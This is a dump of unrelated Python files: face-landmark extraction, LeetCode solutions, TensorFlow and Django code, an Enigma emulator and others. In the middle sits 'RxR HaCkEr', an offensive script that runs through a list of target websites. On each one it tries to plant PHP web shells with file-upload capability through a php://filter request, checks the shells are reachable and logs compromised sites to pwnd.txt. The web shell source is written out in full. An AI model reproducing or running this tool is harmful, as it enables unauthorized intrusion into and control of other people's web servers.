import os
import glob
import cv2
import numpy as np
import pandas as pd
from PIL import Image

import mediapipe as mp

# 初期設定
mp_holistic = mp.solutions.holistic
holistic = mp_holistic.Holistic(
    static_image_mode=True,
    min_detection_confidence=0.5)
mp_drawing = mp.solutions.drawing_utils
drawing_spec = mp_drawing.DrawingSpec(thickness=1, circle_radius=1)

def main():
    if os.name == 'nt':  # windows
        files = glob.glob(
            "C:\\Users\\proje\\Desktop\\DataSets\\GENKI-R2009a\\datasets\\smile\\*")
    else:  # mac
        files = glob.glob(
            "/Users/shu/Desktop/DataSets/GENKI-R2009a/datasets/smile/*")

    multi_xyz_rgb = pd.DataFrame(index=[], columns=[])
    for fname in files:
        print(fname)
        image = cv2.imread(fname)
        results = holistic.process(
            cv2.cvtColor(image, cv2.COLOR_BGR2RGB))

        # ランドマークの座標dataframeとarray_imageを取得
        df_xyz, landmark_image = landmark(image)

        """
        # ランドマーク記載画像を整形
        landmark_image = cv2.cvtColor(
            landmark_image, cv2.COLOR_BGR2RGB)  # BGRtoRGB
        landmark_image = Image.fromarray(landmark_image.astype(np.uint8))
        landmark_image.save("landmark.jpg")
        """

        height, width, channels = image.shape[:3]
        # ランドマークの色情報を取得
        df_rgb = color(image, df_xyz, height, width)

        # xyzとrgb結合
        xyz_rgb = pd.concat([df_xyz, df_rgb], axis=1)
        # 複数枚のxyz-rgb
        multi_xyz_rgb = pd.concat([multi_xyz_rgb, xyz_rgb], axis=0)
        print(multi_xyz_rgb)

    multi_xyz_rgb.to_csv('./xyzrgb.csv', header=True, index=True)

# 顔のランドマークの色情報を抽出する
"""
image:cv2.imreadで読み込んだ画像
xyz:ランドマークの座標
height:画像の高さサイズ
width:画像の幅サイズ
"""

def color(image, xyz, height, width):
    label = []
    data = []
    length = int(len(xyz.columns)/3)
    for _ in range(length):
        index = _*3
        x = xyz.iloc[0, index]
        y = xyz.iloc[0, index+1]
        z = xyz.iloc[0, index+2]

        if pd.isna(x) or pd.isna(y) or pd.isna(z):
            b = np.nan
            g = np.nan
            r = np.nan
        else:
            if x > 1:
                x = 1
            x = int(x*(width-1))

            if y > 1:
                y = 1
            y = int(y*(height-1))

            if x > width-1:
                x = width-1
            if y > height-1:
                y = height-1

            b = int(image[y, x, 0])
            g = int(image[y, x, 1])
            r = int(image[y, x, 2])
        data.extend([r, g, b])
        label.extend([str(_)+"_r", str(_)+"_g", str(_)+"_b"])

    df = pd.DataFrame([data], columns=label)
    return df

# 顔のランドマーク
def face(results, annotated_image):
    label = []
    data = []
    if results.face_landmarks:
        # ランドマークを描画する
        mp_drawing.draw_landmarks(
            image=annotated_image,
            landmark_list=results.face_landmarks,
            connections=mp_holistic.FACEMESH_TESSELATION,
            landmark_drawing_spec=drawing_spec,
            connection_drawing_spec=drawing_spec)

        for index, landmark in enumerate(results.face_landmarks.landmark):
            data.extend([landmark.x, landmark.y, landmark.z])
            label.extend([str(index)+"_x", str(index)+"_y", str(index)+"_z"])

    else:  # 検出されなかったら欠損値nanを登録する
        print("検出なし！")
        for i in range(468*3):
            data.append(np.nan)
        [label.extend([str(i)+"_x", str(i)+"_y", str(i)+"_z"])
         for i in range(468)]
    df = pd.DataFrame([data], columns=label)
    return df

# imageに対してmediapipeでランドマークを表示、出力する
def landmark(image):
    results = holistic.process(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
    annotated_image = image.copy()
    # ランドマーク取得
    df_xyz = face(results, annotated_image)
    return df_xyz, annotated_image

if __name__ == "__main__":
    main()


class Solution:
  def lowestCommonAncestor(self, root: 'TreeNode', p: 'TreeNode', q: 'TreeNode') -> 'TreeNode':
    # binary search tree, return first node with value between p and q

    nodes = []
    nodes.append(root)
    l, h = min(p.val, q.val), max(p.val, q.val)
    # iterative DFS
    while nodes:
      cur = nodes.pop()
      if (l <= cur.val <= h):
        return cur
      if cur.right:
        nodes.append(cur.right)
      if cur.left:
        nodes.append(cur.left)

    # this line will never execute given constraints on p and q
    return None

Problems/0235. (M) Lowest Common Ancestor of a Binary Search Tree/Python3/solution.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from invoke import task

MAIN_BASENAME = ''
LATEX = 'latexmk'
DVIP = 'dvipdfm'
VIEW_PDF = 'evince'

if not MAIN_BASENAME:
    print("Set Main Basename for this project")
    exit(1)

@task
def compile(ctx):
    """ コンパイルする """
    ctx.run('{} {}'.format(LATEX, MAIN_BASENAME + '.tex'))
    ctx.run('{} {}'.format(DVIP, MAIN_BASENAME + '.dvi'))

@task
def comp(ctx):
    """ コンパイルする """
    compile(ctx)

@task(compile)
def view(ctx):
    """ コンパイルして pdfファイルを開く """
    ctx.run('{} {}'.format(VIEW_PDF, MAIN_BASENAME + '.pdf'))

def get_junk_filenames():
    yield 'x.log'
    for filename in (MAIN_BASENAME + ext for ext in (
            '.aux', '.dvi', '.log', '.pdf')):
        yield filename

@task
def clean(ctx):
    """ コンパイル時にできたファイルを削除する """
    for filename in get_junk_filenames():
        ctx.run('rm {}'.format(filename))


def insertionsort(arr, n):
    for i in range(1, n):
        temp = arr[i]
        j = i-1
        while temp < arr[j] and j >= 0:
            arr[j+1] = arr[j]
            j = j-1
        arr[j+1] = temp

n = int(input("Enter the number of elements: "))
arr = []
for i in range(n):
    a = int(input("Enter element: "))
    arr.append(a)
print()

print("Unsorted Array:", arr)

insertionsort(arr, n)

print("Sorted Array:", arr)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Oct 13 12:40:06 2020

@author: jinlingxing
"""

class Solution(object):
    def partitionLabels(self, S):
        last = {c: i for i, c in enumerate(S)}
        j = anchor = 0
        ans = []
        for i, c in enumerate(S):
            j = max(j, last[c])
            if i == j:
                ans.append(i - anchor + 1)
                anchor = i + 1

        return ans

sol = Solution()
S = "ababcbacadefegdehijhklij"
sol.partitionLabels(S)
print(sol.partitionLabels(S))

All kind of LIST/array/763. partition labels.py


import tensorflow as tf

#a = tf.add(3,5)

#sess = tf.Session()
#print(sess.run(a))
#sess.close()

x=2
y=3
add_op = tf.add(x,y)
mul_op = tf.multiply(x,y)
useless = tf.multiply(x, add_op)
pow_op = tf.pow(add_op,mul_op)

with tf.Session() as sess:
    z, not_useless = sess.run([pow_op, useless])

#Distributed computation on specific CPU GPU
with tf.device('/gpu:0'):
    a= tf.constant([1.0,2.0,3.0,4.0,5.0,6.0], name='a')
    b= tf.constant([1.0,2.0,3.0,4.0,5.0,6.0], name='b')
    c= tf.multiply(a,b)

sess=tf.Session(config=tf.ConfigProto(log_device_placement = True))
print(sess.run(c))

#graph
g1 = tf.get_default_graph()
g2 = tf.Graph()

with g1.as_default():
    a = tf.constant(3)

with g2.as_default():
    b = tf.constant(5)

sess = tf.Session(graph=g1)
with tf.Session() as sess:
    print(sess.run(a))


import json
import nltk
import numpy as np
import h5py

import create_vocabulary

# Previously on initiation-NLP we ran the python files create_csv_database and then create_vocabulary.

# create_csv_database takes all files in the dataset and create a csv.
# Every row is given by : a text, a number, a category

# create_vocabulary only uses vocabulary of train text. It create two things a numpy array and a dictionnary.
# The numpy array is a h5py file with called vocabulary. Every row correspond to a word and gives two columns TF and IDF (initialised at 0).
# The corespondance between the words of train's texts and the array vocabulary is given by the dictionary dictionary_voc.json.

def threshold(n, D):
	"""This function takes a dictionnary and a threshold as arguments
	and return the dictionary with all associated values in vocabulary gretaer than n."""
	new_dict = {}
	for k,v in D.items():
		if vocabulary[v, 0] >= n:
			new_dict[k] =v
	return new_dict

# Import dico from dictionary_voc.json.
with open("dictionary_voc.json", 'r') as f:
		dico_index = json.load(f)

# Import numpy array vocabulary
f = h5py.File('mydatas.hdf5', 'a')
vocabulary = f['Vocabulary'][:]

# Remove word that apear less than threshold times
dico_index = threshold(5, dico_index)

# Calculate normalisation
N = np.sum(vocabulary[:,0])

# Calculate idf and put in numpy_voc

#for word, index in dico_index.items():

# Create X_train, X_val from A_train and A_val

# Create function text_to_vector
## Take a text as argument. For every word in the dico_index.keys, check how many times this word occur and multiply by idf /normalisation.

f.close()


# -*- coding: utf-8 -*-
from multicorn import ForeignDataWrapper
from .utils import log_to_postgres, WARNING, ERROR
from itertools import cycle
from datetime import datetime

class TestForeignDataWrapper(ForeignDataWrapper):

    _startup_cost = 10

    def __init__(self, options, columns):
        super(TestForeignDataWrapper, self).__init__(options, columns)
        self.columns = columns
        self.test_type = options.get('test_type', None)
        self.tx_hook = options.get('tx_hook', False)
        self._row_id_column = options.get('row_id_column',
                                          list(self.columns.keys())[0])
        log_to_postgres(str(sorted(options.items())))
        log_to_postgres(str(sorted([(key, column.type_name) for key, column in
                                    columns.items()])))
        for column in columns.values():
            if column.options:
                log_to_postgres('Column %s options: %s' %
                                (column.column_name, column.options))
        if self.test_type == 'logger':
            log_to_postgres("An error is about to occur", WARNING)
            log_to_postgres("An error occured", ERROR)

    def _as_generator(self, quals, columns):
        random_thing = cycle([1, 2, 3])
        for index in range(20):
            if self.test_type == 'sequence':
                line = []
                for column_name in self.columns:
                    line.append('%s %s %s' % (column_name,
                                              next(random_thing), index))
            else:
                line = {}
                for column_name, column in self.columns.items():
                    if self.test_type == 'list':
                        line[column_name] = [
                            column_name, next(random_thing),
                            index, '%s,"%s"' % (column_name, index),
                            '{some value, \\" \' 2}']
                    elif self.test_type == 'dict':
                        line[column_name] = {
                            "column_name": column_name,
                            "repeater": next(random_thing),
                            "index": index,
                            "maybe_hstore": "a => b"}
                    elif self.test_type == 'date':
                        line[column_name] = datetime(2011, (index % 12) + 1,
                                                     next(random_thing), 14,
                                                     30, 25)
                    elif self.test_type == 'int':
                        line[column_name] = index
                    elif self.test_type == 'encoding':
                        line[column_name] = (b'\xc3\xa9\xc3\xa0\xc2\xa4'
                                             .decode('utf-8'))
                    elif self.test_type == 'nested_list':
                        line[column_name] = [
                            [column_name, column_name],
                            [next(random_thing), '{some value, \\" 2}'],
                            [index, '%s,"%s"' % (column_name, index)]]
                    else:
                        line[column_name] = '%s %s %s' % (column_name,
                                                          next(random_thing),
                                                          index)
            yield line

    def execute(self, quals, columns):
        log_to_postgres(str(sorted(quals)))
        log_to_postgres(str(sorted(columns)))
        if self.test_type == 'None':
            return None
        elif self.test_type == 'iter_none':
            return [None, None]
        else:
            return self._as_generator(quals, columns)

    def get_rel_size(self, quals, columns):
        if self.test_type == 'planner':
            return (10000000, len(columns) * 10)
        return (20, len(columns) * 10)

    def get_path_keys(self):
        if self.test_type == 'planner':
            return [(('test1',), 1)]
        return []

    def update(self, rowid, newvalues):
        if self.test_type == 'nowrite':
            super(TestForeignDataWrapper, self).update(rowid, newvalues)
        log_to_postgres("UPDATING: %s with %s" % (
            rowid, sorted(newvalues.items())))
        if self.test_type == 'returning':
            for key in newvalues:
                newvalues[key] = "UPDATED: %s" % newvalues[key]
            return newvalues

    def delete(self, rowid):
        if self.test_type == 'nowrite':
            super(TestForeignDataWrapper, self).delete(rowid)
        log_to_postgres("DELETING: %s" % rowid)

    def insert(self, values):
        if self.test_type == 'nowrite':
            super(TestForeignDataWrapper, self).insert(values)
        log_to_postgres("INSERTING: %s" % sorted(values.items()))
        if self.test_type == 'returning':
            for key in self.columns:
                values[key] = "INSERTED: %s" % values.get(key, None)
            return values

    @property
    def rowid_column(self):
        return self._row_id_column

    def begin(self, serializable):
        if self.tx_hook:
            log_to_postgres('BEGIN')

    def sub_begin(self, level):
        if self.tx_hook:
            log_to_postgres('SUBBEGIN')

    def sub_rollback(self, level):
        if self.tx_hook:
            log_to_postgres('SUBROLLBACK')

    def sub_commit(self, level):
        if self.tx_hook:
            log_to_postgres('SUBCOMMIT')

    def commit(self):
        if self.tx_hook:
            log_to_postgres('COMMIT')

    def pre_commit(self):
        if self.tx_hook:
            log_to_postgres('PRECOMMIT')

    def rollback(self):
        if self.tx_hook:
            log_to_postgres('ROLLBACK')


import requests
import sys
import os
import re
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool
from time import time as timer
from platform import system
from colorama import Fore, Style, init

init(autoreset=True)

import time

####### Colors	 ######
fr = Fore.RED
fc = Fore.CYAN
fw = Fore.WHITE
fg = Fore.GREEN
sd = Style.DIM
sn = Style.NORMAL
sb = Style.BRIGHT

#################################
# RxR HaCkEr Python3 by Sicario #
#################################

shell = """ <?php echo 'RxR HaCkEr_Ye'.'
'.'Uname:'.php_uname().'
'.$cwd = getcwd(); Echo '  <form method="post" target="_self" enctype="multipart/form-data">  <input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  </form>

'; if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);     Echo "Uploaded !!!
name : ".$_FILES['uploads']['name']."
size : ".$_FILES['uploads']['size']."
type : ".$_FILES['uploads']['type']; } ?>"""
shell_2 = """<?php
// name of the file is: i (it has no extension)
error_reporting(0);
$Ye = "_Ye";
if(isset($_GET["rxr"]))
	{
		echo"RxR HaCkEr{$Ye} [uname]".php_uname()."[/uname]";echo "
";print "\n";if(@ini_get("disable_functions")){echo "DisablePHP=".@ini_get("disable_functions");}else{ echo "Disable PHP = NONE";}echo "
";print "\n";if(@ini_get("safe_mode")){echo "Safe Mode = ON";}else{ echo "Safe Mode = OFF";} echo "
";print "\n";echo"<form method=post enctype=multipart/form-data>";echo"<input type=file name=f><input name=v type=submit id=v value=up>
";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"berhasil-->".$_FILES["f"]["name"];}else{echo"gagal";}} }

echo 'uname:'.php_uname()."\n";
echo getcwd() . "\n";

?>"""

shell_name = str(time.time())[:-3]
filename = "RxR_"+shell_name+".php"

start_raw = input('Your List Please : ')
try:
    with open(start_raw, 'r') as f:
        woh = f.read().splitlines()
except IOError:
    pass
woh = list(woh)

class Master:
    def __init__(self):
        if system() == 'Linux':
            os.system('clear')
        if system() == 'Windows':
            os.system('cls')

        banner = """{}{} \n \n
                    Coded By Sicario
                    RxR HaCkEr Py3 Build

                \n""".format(fc, sb)

        print(banner)
        self.create_output_file()

    def create_output_file(self):
        try:
            with open("pwnd.txt", "w") as f:
                pass
        except Exception as e:
            print(f"{fr}[{fc}!{fr}] Error occurred while creating the output file: {e}")
            sys.exit()

    def com_rce(self, url):
        try:
            pl = generate_payload("fwrite(fopen($_SERVER['DOCUMENT_ROOT']+'/RxR_"+shell_name+".php','w+'), '<?php "+shell+" ?>')")
            res = requests.get(url + pl, timeout=10)
            if res.status_code == 200:
                shell_url = url + "/RxR_" + shell_name + ".php"
                print(f"{fg}[{fc}*{fg}] Shell uploaded successfully: {shell_url}")
                self.check_shell(url, shell_url)
            else:
                print(f"{fr}[{fc}!{fr}] Upload failed on: {url}")
        except Exception as e:
            print(f"{fr}[{fc}!{fr}] Error occurred: {e}")

    def check_shell(self, url, shell_url):
        try:
            res = requests.get(shell_url, timeout=10)
            if res.status_code == 200:
                if "RxR HaCkEr_Ye" in res.text:
                    print(f"{fg}[{fc}*{fg}] Shell is accessible: {shell_url}")
                    self.save_result(url, shell_url)
                else:
                    print(f"{fr}[{fc}!{fr}] Shell is not accessible on: {url}")
            else:
                print(f"{fr}[{fc}!{fr}] Shell is not accessible on: {url}")
        except Exception as e:
            print(f"{fr}[{fc}!{fr}] Error occurred: {e}")

    def save_result(self, url, shell_url):
        try:
            with open("pwnd.txt", "a") as f:
                f.write(f"{url} -> {shell_url}\n")
        except Exception as e:
            print(f"{fr}[{fc}!{fr}] Error occurred while saving result: {e}")

    def start(self):
        print(f"{fc}[*] Starting the RCE process...\n")
        start_time = timer()
        try:
            pool = ThreadPool(10)
            pool.map(self.com_rce, woh)
            pool.close()
            pool.join()
        except KeyboardInterrupt:
            print(f"\n{fr}[{fc}!{fr}] Keyboard Interrupt detected. Saving results...")
        end_time = timer()
        total_time = end_time - start_time
        print(f"\n{fc}[*] RCE process completed in {total_time:.2f} seconds.")

def generate_payload(code):
    payload = f"/index.php?page=php://filter/convert.base64-encode/resource={code}"
    return payload

if __name__ == '__main__':
    Master().start()


import sys
input = sys.stdin.readline
n, m = map(int, input().split())
s1, s2 = set(), set()
for _ in range(n):
    s1.add(input().strip())
for _ in range(m):
    s2.add(input().strip())
result = s1.intersection(s2)
print(len(result))
for r in sorted(list(result)):
    print(r)


from django.db import models, transaction
from django.core.validators import RegexValidator

class Theme(models.Model):
    name = models.CharField(
        max_length=128,
        unique=True,
        verbose_name='Название темы',
    )

    def __str__(self):
        return self.name

    class Meta:
        verbose_name = 'Тема'
        verbose_name_plural = 'Темы'

class OrgCode(models.Model):
    code = models.CharField(
        max_length=4,
        unique=True,
        verbose_name='Четырехзначный буквенный код',
        validators=[
            RegexValidator(
                regex='^[а-яА-Я]{4}$',
                message='Код должен состоять из четырех кириллических букв',
                code='invalid_code',
            )
        ])

    def __str__(self):
        return self.code.upper()

    class Meta:
        verbose_name = 'Код организации-разработчика'
        verbose_name_plural = 'Коды организаций-разработчиков'

class DecimalNumber(models.Model):
    org_code = models.ForeignKey(
        OrgCode,
        on_delete=models.PROTECT,
        verbose_name='Код организации-разработчика',
    )

    number = models.CharField(
        unique=True,
        max_length=13,
        verbose_name='Цифровая часть децимального номера',
        help_text='Формат: 123456.789 или 123456.789-01',
        validators=[
            RegexValidator(
                regex=r'^[0-9]{6}\.[0-9]{3}(-[0-9]{2})?$',
                message='Неверный формат номера',
            )
        ]
    )

    is_used = models.BooleanField(
        default=False,
        verbose_name='Присвоен',
    )

    def __str__(self):
        return f'{self.org_code}.{self.number}'

    class Meta:
        verbose_name = 'Децимальный номер'
        verbose_name_plural = 'Децимальные номера'

class DeviceType(models.Model):
    name = models.CharField(
        max_length=64,
        unique=True,
        null=True,
        blank=True,
        verbose_name='Наименование типа изделия',
        help_text='Аппарат, Блок, Комплекс, Ячейка и т.п.',
    )

    def __str__(self):
        return self.name

    class Meta:
        verbose_name = 'Тип изделия'
        verbose_name_plural = 'Типы изделий'

class Device(models.Model):
    def __init__(self, *args, **kwargs):
        super(Device, self).__init__(*args, **kwargs)
        self.__current_decimal_num_id = self.decimal_num.id \
            if self.decimal_num \
            else None

    type = models.ForeignKey(
        DeviceType,
        on_delete=models.PROTECT,
        verbose_name='Тип изделия',
    )

    index = models.CharField(
        max_length=64,
        unique=True,
        blank=True,
        null=True,
        verbose_name='Индекс изделия',
    )

    decimal_num = models.OneToOneField(
        DecimalNumber,
        blank=True,
        null=True,
        on_delete=models.SET_NULL,
        verbose_name='Децимальный номер',
    )

    part_of = models.ManyToManyField(
        'self',
        symmetrical=False,
        blank=True,
        verbose_name='В какое изделие входит',
    )

    theme = models.ManyToManyField(
        Theme,
        blank=True,
        verbose_name='Тема',
    )

    def __str__(self):
        string = f'{self.type} {self.index}' if self.index else str(self.type)
        return string + f' {self.decimal_num}' if self.decimal_num else string

    class Meta:
        verbose_name = 'Изделие'
        verbose_name_plural = 'Изделия'

    def __make_unused(self):
        orig_num_obj = DecimalNumber.objects.get(
            pk=self.__current_decimal_num_id
        )
        orig_num_obj.is_used = False
        orig_num_obj.save()

    def __make_used(self):
        new_num_obj = DecimalNumber.objects.get(pk=self.decimal_num.id)
        new_num_obj.is_used = True
        new_num_obj.save()

    def __manage_use(self, action):
        if action == 'set':
            self.__make_used()
        elif action == 'clean':
            self.__make_unused()
        elif action == 'update':
            self.__make_unused()
            self.__make_used()

    def save(self,
             force_insert=False,
             force_update=False,
             using=None,
             update_fields=None,
             commit=True):

        curr_num_id = self.__current_decimal_num_id
        new_num_obj = self.decimal_num
        if curr_num_id is not None:
            if new_num_obj is not None:
                if curr_num_id != new_num_obj.id:
                    self.__manage_use('update')
            else:
                self.__manage_use('clean')
        else:
            if new_num_obj is not None:
                self.__manage_use('set')

        super(Device, self).save(force_insert,
                                 force_update,
                                 using,
                                 update_fields)

    def delete(self, using=None, keep_parents=False):
        current_decimal_num = self.decimal_num

        with transaction.atomic():
            current_decimal_num.is_used = False
            current_decimal_num.save()
            super(Device, self).delete(using, keep_parents)


'''
Created on 8 Eki 2019

@author: samet.yildiz
'''
'''
Created on 4 Ara 2018

@author: samet.yildiz
'''

from TelnetManager import WlUtility
import matplotlib.pyplot as plt
import numpy as np
import datetime
import tkinter as tk # Python 3 import
from tkinter import  *
import threading
import multiprocessing
import datetime
import time
import os
checkState = True

def tryTssi(meanCount,index,power,chain,channel,bw):
    i=0
    outputList=[]
    out=[]
    clr=0
    while i< index:
        out.append(samet.transmitTryBCM4366(power, meanCount,chain,channel,bw))

        i+=1
    i=0
    outputList.append(out)
    out=[]
    #print(outputList)

def startTest(channel_str, bw_str, chain_str, power_str):
    print("START: " + str(datetime.datetime.now()))

    out=[]
    #tryTssi(10,10,12)

    channels=channel_str.split(",")# [36,52,100,132,149]
    bws= bw_str.split(",")# [36,52,100,132,149]
    antennas= chain_str.split(",")# [36,52,100,132,149]
    powers= power_str.split(",")# [36,52,100,132,149]

    #bws=[20]
    #antennas=[0,1,2,3]
    for k in antennas:
        for l in channels:
            for m in bws:
                #print("************ CH" + str(l) + "/"+ str(m) +" ANT-"+str(k)+" ***********")
                for i in powers:
                    tryTssi(3,1,int(i),int(k),int(l),int(m))

    print("FINISHED: " + str(datetime.datetime.now()))

    samet.telnetExit()

if __name__ == '__main__':
    countryCodes=["US","US4","AE","AR","AR1","CA",
                  "HK","IL","JO","PH","SA","SG","CH",
                  "DE","DK","ES","FR","FR1","GB","IT",
                  "NL","NO","PL","PL1","PT","SE","TR"]
    #countryCodes=["US","US4","CH","DE","DK","ES","FR","GB","IT","NO","PT","TR","US","US4","SG"]
    #countryCodes=["US","FR","EU"]#,"DE","DK","ES","FR","GB","IT","NO","PT","TR","US","US4","SG"]
    count=0
    while count!=len(countryCodes):
        print(str(count) + "-) *******************************************************************************************")
        print("*********************************** " + countryCodes[count]+ " ***************************************************")
        samet = WlUtility("192.168.2.254","root","")
        samet.sendCommand("env_test setenv COUNTRY_CODE " + countryCodes[count])
        samet.sendCommand("env_test saveenv")
        samet.getOutput()
        print("Set to defaults")
        samet.sendCommand("defaults")

        time.sleep(300)
        samet = WlUtility("192.168.2.254","root","")

        samet.getOutput()
        samet.sendCommand("env_test getenv COUNTRY_CODE")
        samet.getOutput()
        samet.sendCommand("wl -i wl1 chan_info")
        samet.getOutput()
        samet.sendCommand("wl -i wl0 chan_info")
        samet.getOutput()
        print("Test Start: " + str(datetime.datetime.now()))
        samet.getCountryCode()
        channel_array_5g=[36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,144,149,153,157,161,165]
        for i in channel_array_5g:
            samet.captureCurPower(i, "5GHz", "OFDM")

        channel_array_2g=[1,2,3,4,5,6,7,8,9,10,11,12,13]
        for i in channel_array_2g:
            samet.captureCurPower(i, "2.4GHz", "DSSS")
        print("Test End: " + str(datetime.datetime.now()))
        count+=1


import gsdl2
from gsdl2.locals import QUIT, KEYDOWN, S_ESCAPE

gsdl2.init()

screen = gsdl2.display.set_mode((640, 480))
gsdl2.display.set_caption("05_texture_and_renderer.py - im in ur hardwarez")
screen_rect = screen.get_rect()
renderer = gsdl2.display.get_renderer()
clock = gsdl2.Clock()
fps = 33

block = gsdl2.image.load('tomato.png')
block_rect = block.get_rect(center=screen_rect.center)

block_texture = gsdl2.texture.Texture(renderer, block)

running = True

while running:
    clock.tick(fps)

    for e in gsdl2.event.get():
        if e.type == QUIT:
            running = False
        elif e.type == KEYDOWN:
            if e.scancode == S_ESCAPE:
                running = False

    renderer.clear()
    renderer.copy(block_texture, block_rect)
    renderer.present()


import rdkit.Chem as Chem
import os
import numpy as np
import torch
from paths import DATA_DIR
from utils.metrics import GraphVAELoss, GraphMatching, BasicMolecularMetrics
from model import GraphTransformerVae
from utils.log_utils import log_train_metrics, log_evaluation_metrics, print_generated_mols
from utils.plot_utils import plot_sets
from torch.optim import Adam
from torch.optim.lr_scheduler import ReduceLROnPlateau
from utils.data_utils import CustomQM9, CustomDataLoader, RemoveHydrogens

qm9_atom_dict = {0: 'C', 1: 'N', 2: 'O', 3: 'F'}  # Warning: hydrogens have been removed
qm9_bond_dict = [Chem.rdchem.BondType.SINGLE, Chem.rdchem.BondType.DOUBLE, Chem.rdchem.BondType.TRIPLE]

def train(args, config,  wandb):
    use_cuda = args.gpu is not None and torch.cuda.is_available()
    if use_cuda:
        device = torch.device("cuda:" + str(args.gpu))
        torch.cuda.set_device(args.gpu)
        os.environ['CUDA_VISIBLE_DEVICES'] = str(args.gpu)
    else:
        device = "cpu"
    args.device = device
    args.kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}
    print('Device used:', device)

    # Load dataset
    remove_hydrogens = RemoveHydrogens()
    dataset = CustomQM9(DATA_DIR, pre_transform=remove_hydrogens)
    loader = CustomDataLoader(dataset, batch_size=args.batch_size)

    # Define model, loss, optimizer
    model = GraphTransformerVae(config).to(device)

    matcher = GraphMatching(disable_matching=False)
    loss_fct = GraphVAELoss(config.lambdas, matcher, config.predict_n)

    optimizer = Adam(model.parameters(), lr=args.lr, weight_decay=args.weight_decay)
    scheduler = ReduceLROnPlateau(optimizer, factor=args.factor, patience=args.patience, min_lr=1e-6)
    # wandb.watch(model, log_freq=100)

    molecular_metrics = BasicMolecularMetrics(qm9_atom_dict, qm9_bond_dict)

    def train_epoch(epoch: int):
        model.train()
        extra_metrics = np.zeros(3)
        losses = np.zeros(10)           # Train_loss, atom_loss, bond_loss, n_loss
        for i, data in enumerate(loader):
            optimizer.zero_grad()
            data = data.to(device)
            output = model(data)    # [[atom_types, edge_p, edge_types], latent_mean, latent_var, predicted_n]
            loss, extra = loss_fct(*output, data)
            loss[-1].backward()
            torch.nn.utils.clip_grad_norm_(model.parameters(), 4.0, error_if_nonfinite=True)
            optimizer.step()
            losses += [(l.item() if type(l) != float else l) / len(loader.dataset) for l in loss]   # number of graphs
            extra_metrics += [(m.item() if type(m) != float else m) / len(loader.dataset) for m in extra]

        log_train_metrics(args, losses, extra_metrics, optimizer.param_groups[0]['lr'], epoch, wandb, verbose=True)
        return losses

    def evaluate(print_generated:bool, num_prints=10):
        """ Check the constraints on the generated dataset"""
        model.eval()
        with torch.no_grad():
            generated = [model.generate(device, print_generated=print_generated * (i < num_prints))
                         for i in range(config.n_eval)]
            gen_metrics, unique = molecular_metrics.evaluate(generated)
            if unique is not None:
                print(unique)
            log_evaluation_metrics(args, gen_metrics, wandb)
            return generated

    # Train
    for epoch in range(0, args.epochs):
        if optimizer.param_groups[0]['lr'] < 1e-5:         # Stop training if learning rate is too small
            break
        losses = train_epoch(epoch)
        scheduler.step(losses[0])
        if epoch % args.evaluate_every == 0:
            generated = evaluate(print_generated=(epoch % args.print_graphs_every == 0), num_prints=10)


#PyEnigma
#Python Enigma Emulator
#
#By Adam Soutar

#Import sys as some OSes require us to give an exit code
import sys

#Alphabet - CONSTANT
#Do not change
global Alphabet
Alphabet = list('ABCDEFGHIJKLMNOPQRSTUVWXYZ')

Rotor1 = list('EKMFLGDQVZNTOWYHXUSPAIBRCJ')
Rotor2 = list('AJDKSIRUXBLHWTMCQGZNPYFVOE')
Rotor3 = list('BDFHJLCPRTXVZNYEIWGAKMUSQO')
Rotor4 = list('ESOVPZJAYQUIRHXLNFTGKDCMWB')
Rotor5 = list('VZBRGITYUPSDNHLXAWMJQOFECK')

#Use to set your rotors and their order
global Rotors
Rotors = [Rotor1, Rotor2, Rotor3]

#Reflectors
ReflectorA = list('EJMZALYXVBWFCRQUONTSPIKHGD')
ReflectorB = list('YRUHQSLDPXNGOKMIEBFZCWVJAT')
ReflectorC = list('FVPJIAOYEDRZXWGCTKUQSBNMHL')
ReflectorBThin = list('ENKQAUYWJICOPBLMDXZVFTHRGS')
ReflectorCThin = list('RDOBJNTKVEHMLFCWZAXGYIPSUQ')

#Use this for the offset of your rotors on start
global RotorPosition
RotorPosition = [0, 0, 0]

#Use this to set your reflector
global Reflector
Reflector = ReflectorA

#Plugboard, this corresponds with the alphabet
#If you don't know what you're doing, don't change it
global Plugboard
Plugboard = list("ABCDEFGHIJKLMNOPQRSTUVWXYZ")

#Collumns, this variable goes unused here,
#but it can be referenced by another script using the API
global Collumns
Collumns = [Alphabet, [Rotors], Reflector]

def correctForOffset():
    #Correct the rotors for the starting offset
    for I in range(0, len(Rotors)):
        #If bigger than 26, correct since 27 = 1, 28 = 2, et cetera
        while (RotorPosition[I]>26):
            RotorPosition[I] = RotorPosition[I] - 26
        #For range to our offset, right loop shift the array
        for x in range(0, RotorPosition[I]):
            Rotors[I].insert(0, Rotors[I][len(Rotors[I]) - 1])
            Rotors[I].pop(len(Rotors[I]) - 1)

def enigmaStatus():
    #Prints the status of the Enigma machine, such as the rotors and positions
    print("PyEnigma Status:")
    for i in range(0, len(Rotors)):
        print("Rotor " + str(i + 1) + ": " + str(Rotors[i]))
    print("Rotor offsets: " + str(RotorPosition))
    print("Plugboard: " + str(Plugboard))
    print("Reflector: " + str(Reflector))

def printHelp():
    #Print the help prompt
    print("""
=Help=
Commands:
Help - Shows this menu
Exit/Quit - Quits the script
Settings - Shows settings such as rotors and their order
Stat/Status - Shows the status of the rotors, such as their positions
Detect - Detect the Enigma machine type

To encipher a message, simply type a message which isn't a command.

Notes:
The Enigma cipher should be used for proof of concept and very-basic
message protection. Do not use this cipher to hold sensitive data!
And don't forget - You can use PyEnigma as an import library.
    """)

def enigChar(charIn):
    #Ciphers a character
    #Cache start char
    originalChar = charIn
    #Pass through plugboard
    charIn = Plugboard[Alphabet.index(charIn)]
    #Rotate rotors
    doRotorTurn = 0
    for i in range(0, len(Rotors) - 1):
        if (doRotorTurn == i):
            RotorPosition[i] = RotorPosition[i] + 1
            Rotors[i].insert(0, Rotors[i][len(Rotors[i]) - 1])
            Rotors[i].pop(len(Rotors[i]) - 1)
            if (RotorPosition[i]>26):
